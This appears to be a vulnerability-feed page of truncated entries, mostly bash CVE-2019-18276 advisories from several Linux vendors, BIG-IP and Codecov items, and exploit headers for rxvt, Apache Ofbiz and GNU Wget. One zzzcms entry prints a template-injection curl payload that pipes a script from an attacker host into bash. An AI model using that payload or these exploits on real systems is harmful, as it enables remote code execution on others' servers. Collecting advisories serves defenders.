bash security and bug fix update

4.4.19-14 - Fix hang when limit for nproc is very high Resolves: 1890888 4.4.19-13 - Correctly drop saved UID when effective UID is not equal to its real UID Resolves: 1793943...

Privilege Escalation

bash is vulnerable to privilege escalation. The way privileges are dropped when started with an effective user ID not equal to the real user ID. If the setuid permission is set and the owner of the bash program is a non-root user, a local attacker is able to abuse the vulnerability to escalate...

Exploit for Use After Free in Microsoft

CVE-2021-31166 si...

rxvt 2.7.0 / rxvt-unicode 9.22 Code Execution Exploit

rxvt version 2.7.0 and rxvt-unicode version 9.22 incorrectly handles ANSI escape sequences allowing for arbitrary code execution. !/usr/bin/env python Title: rxvt remote code execution over scp with $SHELL=/bin/bash 0day Version: rxvt 2.7.10, rxvt-unicode 9.22 Author: def Date: 2021-05-16 CVE: N/...

CentOS 8 : bash (CESA-2021:1679)

The remote CentOS Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CESA-2021:1679 advisory. - bash: when effective UID is not equal to its real UID the saved UID is not dropped CVE-2019-18276 Note that Nessus has not tested for this issue but has inste...

RHEL 8 : bash (RHSA-2021:1679)

The remote Redhat Enterprise Linux 8 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2021:1679 advisory. The bash packages provide Bash Bourne-again shell, which is the default shell for Red Hat Enterprise Linux. Security Fixes: bash: when effective UID ...

bash bug fix and enhancement update

An update is available for bash. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list The bash packages provide Bash Bourne-again shell, which is the default shell fo...

bash bug fix and enhancement update

The bash packages provide Bash Bourne-again shell, which is the default shell for AlmaLinux. Bug Fixes and Enhancements: bash loops forever trying to reap children, spins on the CPU BZ1947522...

Low: Red Hat Security Advisory: bash security and bug fix update

An update for bash is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Low. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE...

bash: when effective UID is not equal to its real UID the saved UID is not dropped

A privilege escalation vulnerability was found in bash in the way it dropped privileges when started with an effective user id not equal to the real user id. Bash may be vulnerable to this flaw if the setuid permission is set and the owner of the bash program itself is a non-root user. A local...

rxvt 2.7.0 / rxvt-unicode 9.22 Code Execution

!/usr/bin/env python Title: rxvt remote code execution over scp with $SHELL=/bin/bash 0day Version: rxvt 2.7.10, rxvt-unicode 9.22 Author: def Date: 2021-05-16 CVE: N/A ------------------------------------------------------------------------------ URXVT VULNERABILITY In rxvt-based terminals, ANSI...

Rapid7 Source Code Breached in Codecov Supply-Chain Attack

Cybersecurity company Rapid7 on Thursday revealed that unidentified actors improperly managed to get hold of a small portion of its source code repositories in the aftermath of the software supply chain compromise targeting Codecov earlier this year. "A small subset of our source code repositorie...

zzzcms zzzphp parserIfLabel模板注入远程执行代码漏洞（CVE-2021-32605）

curl -b 'keys=if:=curl http://attacker.tld/poc.sh|bashend if' 'http://target.tld/?location=search'...

CVE-2021-23012

On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.3, 14.1.x before 14.1.4, and 13.1.x before 13.1.4, lack of input validation for items used in the system support functionality may allow users granted either "Resource Administrator" or "Administrator" roles to execute arbitrary bash...

CVE-2021-23012

On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.3, 14.1.x before 14.1.4, and 13.1.x before 13.1.4, lack of input validation for items used in the system support functionality may allow users granted either "Resource Administrator" or "Administrator" roles to execute arbitrary bash...

CVE-2021-23012

On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.3, 14.1.x before 14.1.4, and 13.1.x before 13.1.4, lack of input validation for items used in the system support functionality may allow users granted either "Resource Administrator" or "Administrator" roles to execute arbitrary bash...

Exploit for Deserialization of Untrusted Data in Apache Ofbiz

CVE-2020-9496 - RCE Because the 2 xmlrpc related requets in we...

Huawei EulerOS: Security Advisory for bash (EulerOS-SA-2021-1765)

The remote host is missing an update for the Huawei EulerOS SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Exploit for Deserialization of Untrusted Data in Apache Ofbiz

CVE-2020-9496 - RCE Because the 2 xmlrpc related requets in we...

GNU wget Arbitrary File Upload / Code Execution

Exploit Title: GNU Wget 1.18 - Arbitrary File Upload / Remote Code Execution 2 Original Exploit Author: Dawid Golunski Exploit Author: liewehacksie Version: GNU Wget 1.18 CVE: CVE-2016-4971 import http.server import socketserver import socket import sys class...